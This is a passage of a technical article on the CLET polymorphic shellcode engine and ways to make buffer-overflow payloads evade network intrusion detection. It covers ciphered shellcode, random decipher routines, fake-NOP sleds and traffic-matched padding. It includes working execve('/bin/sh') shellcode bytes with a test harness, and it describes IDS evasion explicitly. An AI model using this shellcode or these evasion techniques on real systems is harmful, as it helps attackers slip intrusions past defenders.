3 ‑ Polymorphism: principles and usefulness against NIDS.

4 ‑ Make the classical IDS pattern matching inefficient.

5 ‑ Spectrum Analysis to defeat data mining methods.

6 ‑ The CLET polymorphism engine

7 ‑ References

‑‑[ 1 ‑ Abstract

Nowadays, polymorphic is maybe an overused word. Some programs called polymorphism engine have been lately released with constant decipher routines. Polymorphism is a method against pattern matching (cf 3.2), if you have constant consecutive bytes in the code you generate, NIDS will always be able to recognize the signature of those constant bytes...

In some real engine (which generate non‑constant decipher routine like ADMmutate), there are some weaknesses left (maybe weaknesses isn't the best word since the recent NIDS are not able to exploit them) like the XOR problem (cf 4.2) or a NOP zone with only one byte instructions (cf 4.1). In our engine, we have been interested in these problems (cf 4) and we have tried to implement some solutions. We have tried too to implement methods against the next generation of NIDS using data‑mining methods (cf 5).

However we don't claim to have created an 'ultimate' polymorphic engine. We are aware of some weaknesses that exist and can be solved with solutions we expose below but we haven't implemented yet. There are probably some weaknesses too we're not aware of, your mails are welcome for the next version.

This article explains our work, our ideas, we hope you will enjoy it.

‑‑[ 2 ‑ Introduction

Since the famous "Smashing the stack for fun and profit", the technique of buffer overflow has been widely used to attack systems.

To confine the threat new defense systems have appeared based on pattern matching. Nowadays, Intrusion Detection System (IDS) listen the trafic and try to detect and deny packets containing shellcode used in buffer overflow attacks.

On the virus scene, a technique called polymorphism appeared in 1992. The idea behind this technique is very simple, and this idea can be applied to shellcodes. ADMmutate is a first public attempt to apply polymorphism to shellcode.

Our aim was to try to improve the technique, find enhancements and to apply them to an effective polymophic shellcode engine.

‑‑[ 3 ‑ Polymorphism: principles and usefulness against NIDS.

‑‑‑‑[ 3.1 ‑ Back in 1992...

In 1992, Dark Avenger invented a revolutionary technique he called polymorphism. What is it ? It simply consist of ciphering the code of the virus and generate a decipher routine which is different at each time, so that the whole virus is different at each time and can't be scanned !

Very good polymorphic engines have appeared : the TridenT Polymorphic Engine (TPE), Dark Angel Mutation Engine (DAME).

As a consequence, antivirus makers developped new heuristic techniques such as spectrum analysis, code emulators, ...

‑‑‑‑[ 3.2 ‑ Principles of polymorphism

Polymorphism is a generic method to prevent pattern‑matching. Patternmatching means that a program P (an antivirus or an IDS) has a data‑base with 'signatures'. A signature is bytes suite identifying a program. Indeed, take the following part of a shellcode:

push byte 0x68

push dword 0x7361622f

push dword 0x6e69622f

mov ebx,esp

xor edx,edx

push edx

push ebx

mov ecx,esp

push byte 11

pop eax

int 80h

This part makes an execve("/bin/bash",["/bin/bash",NULL],NULL) call. This part is coded as: "\x6A\x68\x68\x2F\x62\x61\x73\x68\x2F\x62\x69\x6E\x89\xE3\x31\xD2" "\x52\x53\x89\xE1\x6A\x0B\x58\xCD\x80".

If you locate this contiguous bytes in a packet destinated to a web server, it can be an attack. An IDS will discard this packet. Obviously, there are other methods to make an execve call, however, it will make an other signature. That's what we call pattern matching. Speak about viruses or shellcodes is not important, the principles are the same. We will see later the specificities of shellcodes.

Imagine now you have a code C that a program P is searching for. Your code is always the same, that's normal, but it's a weakness. P can have a caracteristic sample, a signature, of C and make pattern matching to detect C. And then,C is no longer useable when P is running.

The first idea is to cipher C. Imagine C is like that :

[CCCCCCC]

Then you cipher it :

[KKKKKKKK]

But if you want to use C, you must put a decipher routine in front of it :

[DDDDKKKKKKKK]

Great ! You have ciphered C and the sample of C that is in P is no longer efficient. But you have introduced a new weakness because your decipher routine will be rather the same (except the key) each time and P will be able to have a sample of the decipher routine.

So finally, you have ciphered C but it is still detected :(

And polymorphism was born !

The idea is to generate a different decipher routine each time."different" really means different, not just the key. You can do it with different means :

‑ generate a decipher routine with different operations at each time. A classic cipher/decipher routine uses a XOR but you can use whatever operation that is reversible : ADD/SUB, ROL/ROR, ...

‑ generate fake code between the true decipher code. For example, if you don't use some registers, you can play with them, making fake operations in the middle of the effective decipher code.

‑ make all of them.

So a polymorphism engine makes in fact 2 things :

‑ cipher the body of the shellcode.

‑ generate a decipher routine which is _different_ at each time.

‑‑‑‑[ 3.3 ‑ Polymorphism versus NIDS.

A code of buffer overflow has three or four parts:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| NOP | shellcode | bytes to cram | return adress |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Nowadays, NIDS try to find consecutive NOPs and make pattern matching on the shellcodes when it believes to have detected a fakenop zone. This is not a really efficient method, however we could imagine methodes to recognize the part of bytes which cram the buffer or the numberous consecutive return adresses.

So, our polymorphic engine have to work on each of those parts to make them unrecognizable. That's what we try to do:

‑ firstly, the NOPs series is changed in a series of random instructions (cf 4.1 "fake‑nop") of 1,2,3 bytes.

‑ secondly, the shellcode is ciphered (with a random method using more than an only XOR) and the decipher routine is randomly generated. (cf 4.2)

‑ thirdly, in a polymorphic shellcode, a big return adress zone has to be avoided. Indeed, such a big zone can be detected, particulary by data mining methods. To defeat this detection, the idea is to try to limit the size of the adress zone and to add bytes we choose between shellcode and this zone. This bytes are chosen randomly or by using spectrum analysis (cf 5.3.A).

‑ endly, we haven't found a better method than ADMmutate's to covert the return adresses: since the return adresse is chosen with uncertainly, ADMmutate changes the low‑weight bits of the return adress between the different occurences (cf 4.2).

NB: Shellcodes are not exactly like virus and we can take advantage of it: ‑ A virus must be very careful that the host program still works after infection ; a shellcode does not care! We know that the shellcode will be the last thing to be executed so we can do what we want with registers for example, no need to save them.

We can take good avantage of this, and in our fake‑nop don't try to make code which makes nothing (like INCR & DECR, ADD & SUB or PUSH & POP...) (what could be moreover easily recognizable by an IDS which would make code emulation). Our fake‑nop is a random one‑byte instructions code, and we describe another method (not implemented yet) to improve this, because generating only one‑byte instructions is still a weakness. ‑ The random decipher method has to be polymorphed with random code (but not necessarily one‑byte instructions) wich makes anything but without consequences on the deciphering (hum... not implemented yet :( ‑ A shellcode must not have zeroes in it, since, for our using, we always using strings to stock our code. so we have to take care of it...

Thus, this is what a polymorphic shellcode looks like:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let's now study each part of it.

‑‑[ 4 ‑ Make classical IDS pattern matching inefficient.

‑‑‑‑[ 4.1 ‑ Fake NOPs zone with 2,3 bytes instructions.

‑‑‑‑‑‑[ 4.1.A ‑ Principles

NOPs are necessary before the shellcode itself. In fact, why is it necessary ? Because we don't know exactly where we jump, we just know we jump in the middle of the NOPs (cf article of Aleph One [1]). But it is not necessary to have NOPs, we can have almost any non‑dangerous instructions. Indeed, we don't have to save some register, the only condition we have is to arrive until the decipher routine without errors. However we can't use any 'non‑dangerous' instructions. Indeed, remember we don't know exactly where we jump.

One method to avoid this problem is to make the nop zone with only onebyte instructions. Indeed, in such a case, wherever we jump we fall on an correct instruction. The problem of such a choice is that there is not a lot of one byte instructions. It is thus relatively easy for an IDS to detect the NOPs zone. Hopefully many one‑byte instructions can be coded with an uppercase letter, and so we could hide the nop zone in an alphanumeric zone using the american‑english dictionnary (option ‑a of clet). However, as we explain in 5, such a choice can be inefficience, above all when the service asked is not an 'alphanumeric service' (cf 5).

Thus the problem is : how could we generate a random fake‑nop using several‑bytes instructions to better covert our fake nop?

There is a simple idea: we could generate two‑byte intructions, the second byte of which is a one‑byte instruction or the first byte of a two‑byte instruction of this type and then recursively.

But let's see what can be problems of such a method.

‑‑‑‑‑‑[ 4.1.B ‑ Non‑dangerous several bytes instructions.

‑ Instructions using several bytes can be dangerous because they can modify the stack or segment selectors (etc...) with random effects. So we have to choice harmless instructions (to do it, the book [3] is our friend... but we have to make a lot of tests on the instructions we are choosing).

‑ Some times, several‑bytes instructions ask for particular suffixes to specify a register or a way of using this instruction (see modR/M [3]). For example, instruction CMP rm32,imm32 (compare) with such a code "0x81 /7 id" is a 6‑bytes instruction which asks for a suffix to specify the register to use, and this register must belong to the seventh column of the "32‑bit adressing Forms with the modR/M Byte" (cf[3]). However, remember that everywhere the code pointer is pointing within the fake‑nop, it must be able to read a valid code. So the suffix and arguments of instructions must be instructions themselves.

‑‑‑‑‑‑[ 4.1.C ‑ An easy case

Let's take the string : \x15\x11\xF8\xFA\x81\xF9\x27\x2F\x90\x9E If we are following this code from the begining, we are reading:

ADC $0x11F8FA81 #instruction demanding 4‑bytes argument

STC #one‑byte instructions

DAA

DAS

NOP

SAHF

If we are begining from the second byte, we are reading:

ADC %eax,%edx

CMP %ecx,$0x272F909E

Etc... We can begin from everywhere and read a valid code which makes nothing dangerous...

‑‑‑‑‑‑[ 4.1.D Test the fake‑nop

char shell[] =

"\x99\x13\xF6\xF6\xF8" //our fake_nop

"\x21\xF8\xF5\xAE"

"\x98\x99\x3A\xF8"

"\xF6\xF8"

"\x3C\x37\xAF\x9E"

"\xF9\x3A\xFC"

"\x9F\x99\xAF\x2F"

"\xF7\xF8\xF9\xAE"

"\x3C\x81\xF8\xF9"

"\x10\xF5\xF5\xF8"

"\x3D\x13\xF9"

"\x22\xFD\xF9\xAF"

shellcode

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()

{

void (*go)()=(void *) shell;

go();

return(0);

}

We test a fake_nop string generate with our code... but it's not really efficient as you can see :

when the adress (shell+i) of the function go() is change the testing program exited with:

shell ‑> sh‑2.05b$

shell+1 ‑> sh‑2.05b$

shell+2 ‑> Floating point exception Argh!

shell+3 ‑> sh‑2.05b$

shell+4 ‑> sh‑2.05b$

...

shell+11 ‑> sh‑2.05b$

We haven't been care enough with the choice and the organization of our instructions for the fake_nop and then we can randomly have segfaults or Floating point exceptions...(Really boring)

‑‑‑‑‑‑[ 4.2 ‑ The decipher routine

There are maybe two different methods to generate a decipher routine: ‑ you can use always the same routine but modify instructions. For instance you can use add eax,2 or inc eax; inc eax; the result will be the same but the code not.

‑ you can generate a different routine of decipher too.

In this two methods, you can add code between instructions of the decipher routine. Obviously, this add code mustn't modify running of this routine.

CLET have chosen the second approach, and we don't generate code between instructions because registers we use, order of instructions, type of instructions (ADD,SUB,ROL,ROR,XOR) change each time. Thus it is not necessary to add instructions...

* XOR with a fixed size key is not enough

There is a problem with using a decipher routine with only a XOR and a fixed size key. Mark Ludwig [5] describes it in From virus to antivirus with a concrete example. The real problem comes from the associativity and commutativity of the XOR operation and from the constant size of the key.

Imagine you cipher these two bytes B1 B2 with the key K, you obtain two ciphered bytes: C1 C2.

C1 XOR C2 = (B1 XOR K) XOR (B2 XOR K) = B1 XOR K XOR B2 XOR K = B1 XOR B2 XOR K XOR K = B1 XOR B2 XOR (K XOR K) = B1 XOR B2 XOR 0

= B1 XOR B2

= Constant (independant on K)

We understand why an encrypted shellcode with a only XOR decipher routine and a fixed size key let a carateristic signature of the shellcode. You just have to XOR bytes with their neighboor in case of a single byte key, you will always have the same result, which is independant on K. In case of you have a key of N bytes, to obtain the signature you XOR bytes k with bytes k+N. Such a signature could be exploited by the NIDS (however you need a lot of calculation power).

It's important to notice (thanks for those who tell us ;) ) that the real problem is not only a XOR. It's an only‑XOR encryption AND a fixed size key. Indeed, some vx polymorphic engines, use an only XOR in the encryption but the key is not the same for all the ciphering. The key changes, and size of the key too. In such a case, our demonstration is inefficient because B1 and B2 are not ciphered with the same key K and you don't know where is the next byte ciphered with the same key (that's what you know when you use an only‑XOR encryption with a fixed size key of several bytes.)

So a cipher routine using only a XOR and a fixed size key is not enough. In CLET we generate routines which cipher with several instructions XOR, ADD, ROR, ...

* Random registers

Remember we decide to generate a different decipher routine each time. Even if we change the type of ciphering each time, it is important too to modify asembler instructions that make this decipher routine. To do so, we have decided to change registers used. We need three registers, one to record address where we are working, one to record byte we are working on, one more register for all the other things. We have the choice between eax,ebx,ecx,edx. Thus we randomly use three of this registers each time.

* Four bytes encryption to defeat spectrum analysis methods.

Let's begin to explain what we call a spectrum and what is spectrum analysis.

A spectrum of a paquet gives you bytes and number of this bytes in this packet.

For instance, the following board is a spectrum of a paquet called X:

|\x00|\x01|\x08|\x0B|\x12|\x1A| ... |\xFE|\xFF|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 25 | 32 | 04 | 18 | 56 | 43 | ... | 67 | 99 |

This board means that there is 25 \x00 in X, 32 \x01, 0 \x02, ... This board is what we call spectrum of X.

A spectrum analysis method makes spectrums of packets and create rules thanks to these spectrums. Some IDS use spectrum analysis methods to discard some packets. For instance, imagine that, in a normal trafic, you never have packets with more than 20 bytes of \xFF. You can make the following rule: discard packets with more than 20 bytes of \xFF. This is a very simple rule of spectrum analysis, in fact lots of rules are generated (with neural approach for instance, see 5.2) about spectrum of packets. This rules allow an IDS to discard some packets thanks to their spectrums. This is what we call a spectrum analysis method.

Now, let's see how an IDS can put together pattern matching and spectral analysis methods.

The idea is to record signatures but not signatures of consecutive bytes, signatures of spectrum. For instance, for the previous packet X, we record: 25, 32, 04, 18, 56, 43, ...., 67, 99. Why these values? Because if you use a lonely byte encryption these values will always be the same.

In that way, if we cipher paquet X with the cipher routine XOR 02, ADD 1 we obtain a packet X' which spectrum is:

|\x03|\x04|\x0A|\x0B|\x11|\x19| ... |\xFD|\xFE|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 25 | 32 | 18 | 04 | 56 | 43 | ... | 67 | 99 |

This spectrum is different, order of values is different; however we have the same values but affected to other bytes. Spectrum signature is the same. With such a way of encryption, the spectrum of the occurences of each encrypted bytes is a permutation of the spectrum of the unencrypted bytes. The encryption of a lonely byte return a value which is unique and caracteristical of this byte, that's really a problem.

In order to avoid signatures similarities, the shellcode is four bytes encrypted and this method prevents us to have a singular spectrum of occurences. Indeed, if we crypt FFFFFFFF for instance with XOR AABBCCDD, ADD 1, we obtain 66554433. Thus, spectrum of X' won't be a permutation of spectrum of X. A four‑bytes encryption allows us to avoid this kind of spectrum analysis.

But spectrum analysis methods are just a kind of more general methods, called data‑mining methods. We will see now what are these methods and how we can use spectrum analysis of the trafic to try to defeat this more general kind of methods.

‑‑[ 5 ‑ Spectrum Analysis to defeat data mining methods

‑‑‑‑[ 5.1 ‑ History

When vxers had discovered polymorphism, authors of antivirus were afraid that it was the ultimate solution and that pattern matching was dead. To struggle this new kind of viruses, they decided to modify their attacks. Antivirus with heuristic analysis were born. This antivirus tries for instance to execute the code in memory and test if this code modifies its own instructions (if it tries to decipher it for instance), in such a case, it can be a polymorphed virus.

As we see upper, four‑bytes encryption, not using an only XOR and a fixed size key, fakenop zone with more than one‑byte instructions allow to 'defeat' pattern matching. Perhaps it remains some weaknesses, however we think that polymorphism engines will be more and more efficient and that finally it will be too difficult to implement efficient pattern matching methods in IDS.

Will IDS take example on the antivirus and try to implement heuristic method? We don't think so because there is a big difference between IDS and antivirus, IDS have to work in real time clock mode. They can't record all packets and analyse them later. Maybe an heuristic approach won't be used. Besides, Snort IDS, which tries to develop methods against polymorphed shellcodes, don't use heuristic methods but data mining methods. It's probably these methods which will be developped, so that's against these methods we try to create polymorphic shellcodes as we explain in 5.3 after having given a quick explaination about data mining methods.

‑‑‑‑[ 5.2 ‑ A example of a data mining method, the neural approach or using a perceptron to recognize polymorphic shellcode.

As we explained it before, we want that, from a set of criterions detected by some network probes, a manager takes a real time reliable decision on the network trafic. With the development of polymorphic engines, maybe pattern matching will become inefficient or too difficult to be implemented because you have to create lots of rules, perhaps sometimes you don't know. Is there a solution? We have lots of informations and we want to treat them quickly to finaly obtain a decision, that's the general goal of what are called data mining methods.

In fact, the goal of data mining is the following:

from a big set of explanatory variables (X1,..,XN) we search to take a decision on an unknown variable Y. Notice that:

* this decision has to be taken quickly (problem of calculating complexity)

* this decision has to be reliable (problem of positif falses...)

There is a lot of methods which belongs to theory of data mining. To make understanding the CLET approach about anti‑data mining methods, we have decided to show one of them (actually bases of one of them): the connexionist method because this method has several qualities for intrusion detection:

* the recognition of intrusion is based on learning. For example, with an only neuron, the learning consists in choosing the best explanatory variables X1,...,XN and setting the best values for the parameters w1,...wN (cf below).

* thanks to this learning, a neural network is very flexible and is able to work with a big number of variables and with explanation of Y with the variables X1,...,XN ().

So, in a network, such an approach seems to be interesting, since the number of explanatory variables is certainly huge. Let's explain bases of it.

‑‑‑‑‑‑[ 5.2.A ‑ Modelising a neuron.

To understand how can work an IDS using a data‑mining method based on neural approach, we have to understand how work a neuron (so called because this kind of programs copy neuron of your brain). The scheme below explains how a neuron runs.

As in your brain, a neuron is a simple calculator.

____________

X1 ‑‑‑‑‑‑‑‑w1‑‑‑‑‑‑‑‑| |

| |

X2‑‑‑‑‑‑‑‑‑w2‑‑‑‑‑‑‑‑| |

| Neuron |‑‑fh[(w1*X1 + w2*X2 + ... + wN*XN)‑B]

... | |

| |

XN ‑‑‑‑‑‑‑‑wN‑‑‑‑‑‑‑‑|____________|

fh is the function defined by: |

fh(x)=1 if x>0 | B is called the offset of the neuron. fh(x)=0 if x<=0 |

So we understand that the exiting value is 0 or 1 depending of the entering value X1,X2,...,XN and depending on w1,w2,...,wN.

‑‑‑‑‑‑[ 5.2.B ‑ a data‑mining method: using neural approach in an IDS.

Imagine now that the value X1,X2,...,XN are values of the data of a packet: X1 is the first byte, X2 the second,..., XN the last one (you can choose X1 the first bit, X2 the second, etc... if you want that the entering values are 0 or 1) (we can choose too X1 number of \x00, X2 number of \x01,... there are many methods, we expose one idea here in order to explain data mining). The question is: which w1,w2,...wN have we to choose in order to generate an exiting value of 1 if the packet is a 'dangerous' one and 0 if it is a normal one? We can't find value, our neuron have to learn them with the following algorithm:

w1,w2,...,wN is first chosen randomly.

Then we create some packets and some 'dangerous' packets with polymorphic engine, and we test them with the neuron.

We modify the wI when the exiting value is wrong.

If the exiting value is 0 instead of 1:

wI <‑ wI + z*xI 0<=I<=N

If the exiting value is 1 instead of 0:

wI <‑ wI ‑ z*xI 0<=I<=N

z is a constant value chosen arbitrarily.

In easy stages, neuron will 'learn' to recognize normal packets from 'dangerous' ones. In a real IDS, one neuron is not sufficient, and the convergence have to be studied. There is however two big advantages of neural approach:

* decisions of a neural network depend not directly on rules written by humans, they are based on learning which set "weights" of different entries of neurons according to the minimization of particular statistical criterions. So the decisions are more shrewd and more adapted to the local network traffic than general rules.

* when the field of searching is important (huge data bases for pattern matching), data mining approach is quicker because the algorithm has not to search in a huge data bases and as not to perform a lot of calculations (when the choice of the network topology, of explanatory variables and learning are "good"...)

‑‑‑‑[ 5.3 ‑ Spectrum Analysis in CLET against data mining method.

The main idea of the method we expose upper, like lots of data mining methods, is to learn to recognize a normal packet from a 'dangerous' packet. So we understand that to struggle this kind of methods, simple polymorphism can be not enough, and alphanumeric method (enjoy the excellent article of rix), can be inefficient. Indeed, in a case of a non‑alphanumeric communication, alphanumeric data will be considered as strange and will create an alert. The question is to know how a polymorph engine can generate a polymorphic shellcode which will be considered as normal by an IDS using data mining methods. Maybe CLET engine shows a beginning of answer. Howerer we are aware of some weaknesses (for nstance the SpectrumFile has no influence under the fakenot zone), we work today on this weaknesses.

Let's see how it works.

Imagine the following case:

_________

| Firewall| ________

‑‑‑Internet‑‑‑| + |‑‑‑‑‑‑| Server |

| IDS | |________|

|_________|

We can suppose that the IDS analyses the entering packet with a port destination 80 and the ip of the server with data mining methods. To escape this control, our idea is to generate bytes which values are dependant on the probability of this values in a normal trafic:

theo@warmach# sniff eth0 80 2>fingerprint &

theo@warmach$ lynx server.com

The program sniff will listen on interface eth0 the leaving packet with a destination port 80 and record the data of them in a file fingerprint in binary.

Then, we begin to navigate normally to record a 'normal' trafic.

theo@warmach$ stat fingerprint Spectralfile

The program stat will generate a file Spectralfile which content have the following format:

0 (number of bytes \x00 in leaving data destinated to server)

1 (number of bytes \x01 in leaving data destinated to server) ...

FF (number of bytes \xFF in leaving data destinated to server)

This Spectralfile can be generated by lots of methods. Instead of my example, you can decide to generate it from the trafic on a network, you can decide to write it if you have specials demands....

Now the question is, how can we use this file? how can we use a description of a trafic? Option f of clet allows us to use a analysis of a trafic, thanks to this spectral file.

theo@warmach$ clet ‑n 100 ‑c ‑b 100 ‑f Spectralfile ‑B

(cf 6 for options)

Action of option ‑f is different between the different zones (NOPzone, decipher routine, shellcode, cramming zone). Indeed we want to modify, thanks to SpectralFile, process of generation of polymorphic shellcode but we can't have the same action upon the different zones because we have constraints depending on zones. It's for instance, in some cases, very difficult to generate a fake nop zone according to a spectrum analysis.

Let see how we can act upon this different zones.

‑‑‑‑‑‑[ 5.3.1 ‑ Generate cramming bytes zone using spectrum analysis.

The simplest idea is to generate a craming bytes zone which spectrum is the same than trafic spectrum:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

the probability of these bytes

are dependant on the Spectralfile

(without the value \x00)

If there is no file in argument, there is equiprobability for all the values (without zero)...

This process of generation is used if you don't use ‑B option.

However cramming bytes zone is the gold zone. In that way, we can generate bytes we want. Remember that in some zones, we don't use spectrum analysis (like in DecipherRoutine in our version). It will more usefull to use cramming bytes zone in order to add bytes we lack in previous zones in which we can't so easily use spectral file. Let's go!

‑‑‑‑‑‑‑‑[ 5.3.1.A ‑ A difficult problem

To explain it, we will take a simple example. We are interested in a zone where there are only three bytes accepted called A,B,C. A spectrum study of these zone shows us:

A: 50

B: 50

C: 100

The problem is that, because of our shellcode and our nop_zone, we have the following fixed beginning of our packet:

ABBAAAAA (8 bytes)

We can add two bytes with our cramming zone. The question is: which 2 bytes have we to choose?

The answer is relativy simple, intuitively we think of CC, why? because C is important in trafic and we don't have it. In fact, if we call

Xa the random variable of Bernouilli associated to the number of A in the first 9 bytes

Xb the random variable of Bernouilli associated to the number of B in the first 9 bytes

Xc the random variable of Bernouilli associated to the number of C in the first 9 bytes

we intuitively compare p(Xa=6)*p(Xb=2)*p(Xc=1) > p(Xa=7)*p(Xb=2) and p(Xa=6)*p(Xb=2)*p(Xc=1) > p(Xa=6)*p(Xb=3)

Thus, we choose C because the packet ABBAAAAAC have, spectrumly speaking, more probablities to exist than ABBAAAAAA or ABBAAAAAB.

Maybe you can think that it is because C has the most important probability in the trafic. It's a wrong way of thinking. Indeed, imagine we have the following beginning:

CCCCCBBB

how have to choose the next byte? we will choose A although A and B have the same probability to come because of the reason explained upper.

Ok so we choose C. Using the same principles, we then choose C for the tenth bytes: ABBAAAAACC.

The problem is that we can't use this method to generate the cramming bytes. Indeed, this method is fixed. When we write fixed, we want to say that the first 8 bytes fixed the two following. That is a weakness! In that way, if we generate the cramming bytes zone by this method, that means that the beginning zone (nop_zone+ decipher + shellcode) will fix the cramming zone. If we use a principle, we create a method to recognize our packet. Take the beginning and try with the same principles to create a cramming zone. If you obtain the same bytes then the packet have been created by CLET polymorphism engine (even if it is not easy to find the beginning of the cramming bytes zone). You can discard it.

So now we have to introduce a law of probability. Indeed, if we have the following beginning: ABBAAAAA, we have to increase the probability to obtain a C and decrease probability to obtain B or A. But this last probabilities mustn't be null! The real question is thus:

how modifying probability of A,B,C in order to finally obtain a packet which spectrum is close to trafic spectrum?

‑‑‑‑‑‑[ 5.3.1.B ‑ A logical idea.

Take the last example: we have

ABBAAAAA

and a spectrum file with:

A=50; B=50; C=100;

how choosing laws of probabilty?

With notations used upper and in case of all the bytes would have been chosen using spectrum file, we would have:

E[Xa]=9/4

E[Xb]=9/4

E[Xc]=9/2

E[X] is written for the hope of the random variable X (mathematicaly speaking in our case: E[X]=p(X)*size (here 9) because it's a Bernouilli variable).

In fact we have 6 A and 2 B.

Because 9/4‑6 <0, it will stupid to generate a A, we can write that the new probability of A is now p(A)=0!

However 9/4‑2 >0 and 9/2‑0>0 so we can still generate B and C to ajust the spectrum. We must have p(B)>0 and p(C)>0.

We have:

9/4‑2=1/4

9/2‑0=9/2

So intuitively, we can think that it is logic that C has a probablity (9/2)/(1/4)=18 bigger than probability of B. Thus we have to solve the system:

| p(C)=18*p(B) ie | p(B)=1/19

| p(C)+p(B)=1 | p(C)=18/19

and we obtain laws for generate the ninth byte.

Then we can use the same algorithm to create cramming byte zone.

However this algorithm has the following problem:

the big problem is to know in what conditions we have:

E[Xa] ~ sizeof(packet) * p(A) E[Xb] ~ sizeof(packet) * p(B) E[Xc] ~ sizeof(packet) * p(C) ...

when sizeof(cramming zone) ‑‑‑> +oo ie when sizeof(paquet) ‑‑‑‑‑‑‑> +oo

~ means equivalent to (in the mathematical sense).

sizeof(packet) * p(.) would be the hope in case of the whole packet would have been generated depending on trafic (because in such a case, Xa,Xb,.. would be variables of Bernouilli, see [7]). Remember it's what we want. We want that our cramming byte zone generate a packet which entire spectrum is close to trafic spectrum. We want that our laws 'correct' the spectrum of the beginning. Intuitively we can hope that it will be the case because we favour lacking bytes over the others. However, it is a bit difficult to prove it, mathematicaly speaking. Indeed take E[Xa] for instance. It's very difficult to write it. In that way laws to generate the N byte depending on the N‑1 random byte. In our example, laws to generate the tenth byte are not the same if we have ABBAAAAAC or ABBAAAAAB. Remember that to avoid a fixed method the two cases are allowed!

That's for all this reasons we have chosen a simpler method.

‑‑‑‑‑‑[ 5.3.1.C ‑ CLET Method.

If you don't use the option ‑B, cramming bytes zone will be generated as explain in the beginning of 5.3.1, without taking the beginning into account. We can begin to explain how this method is implemented, how it uses the spectrum file. Imagine we have the following spectrum file:

0 6

1 18

2 13

3 32

4 0

.....

FC 0

FD 37

FE 0

FF 0

First we can notice that we don't take care of the first line because we can't generate zeros in our zone. We build the following board:

| sizeof(board) | 1 | 2 | 3 | FC |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| XXXXXXXXX | 18 | 13+18 | 31+32 | 63+37 |

= 31 = 63 = 100

Then we randomly choose a number n between 1 and 100 and we make a dichotomic search in the board (to limit the complexity because we have a sorted board).

if 0 < n <= 18 we generate \x01

if 18 < n <= 31 we generate \x02

if 31 < n <= 63 we generate \x03

if 63 < n <= 100 we generate \xFC

This method allows us to generate a cramming bytes zone with p(1)=18/100, p(2)=13/100, p(3)=32/100 and p(FC)=37/100, without using float division.

Now let's see how the option ‑B take the beginning into account.

We take the same example with the same spectrum file:

| sizeof(board) | 1 | 2 | 3 | FC |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| XXXXXXXXX | 18 | 13+18 | 31+32 | 63+37 |

= 31 = 63 = 100

To take the beginning into account, we modify the board with the following method:

Imagine we have to generate a 800 bytes cramming bytes zone, the beginning have a size of 200 bytes. In fact, at the end, our packet without the adress zone will have a size of 1000 bytes.

We call Ntotal the max value in board (here 100) and b the size of the packet without the adress zone (here 1000).

b= b1 + b2 (b1 is size of the beginning=fakenop+decipher+shellcode and b2 is size of cramming byte zone). Here b1=200 and b2=800.

Let's see how we modify the board, for instance with byte \x03. We call q3 the number of byte \x03 we found in the beginning. (here we choose q3=20).

We make q3*Ntotal/b=20*1/10=2 and then we make 63‑2=61. We obtain the following board:

| sizeof(board) | 1 | 2 | 3 | FC |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| XXXXXXXXX | 18 | 13+18 | 63‑02 | 61+37 |

= 31 = 61 = 98

So now, we can think that we have a probability of 30/98 to generate \x03, however this algorithm have to be use to modify all value. The value 98 will be thus modified. We apply the same algorithm and we can suppose we finally obtain the board:

| sizeof(board) | 1 | 2 | 3 | FC |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| XXXXXXXXX | 16 | 11+16 | 57 | 57+33 |

= 27 = 90

Finally we see that we obtain laws:

p(\x01)= 16/90

p(\x02)= 11/90

p(\x03)= 30/90

p(\xFC)= 33/90

This laws will be use to generate all the cramming bytes zone. Intuitively, we understand that, with this method, we correct our spectrum depending on the values we have in the beginning. The question is now, can we prove that this method do a right correction, that:

E[Xn] ~ b*p(n) when b ‑‑‑> +oo

where X is a random variable of bernouilli which count the number of the byte n in the packet and p(n) the probability of n to appear in the trafic.

If such is the case, that means that E[X], with a sufficient value of b, is 'like a simple bernoulli hope'. It's like we have generated the whole packet with probabilities of the trafic!

Let's prove it!

We take the same notation. Ntotal is total sum of data in the trafic. b=b1+b2 (b1 size of beginning, b2 size of cramming zone).

We call q(\xA2) number of \xA2 bytes in beginning (fakenop +decipher + shellcode) and n(\xAE) the number initially written in spectrum file near AE.

We take a byte that we call TT.

E[Xt] = q(TT) + b2 * p'(TT)

p'(TT) is the probability for having n after modification of the board. As we see previously:

n(TT) ‑ q(TT)*Ntotal/b

p'(TT)= ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

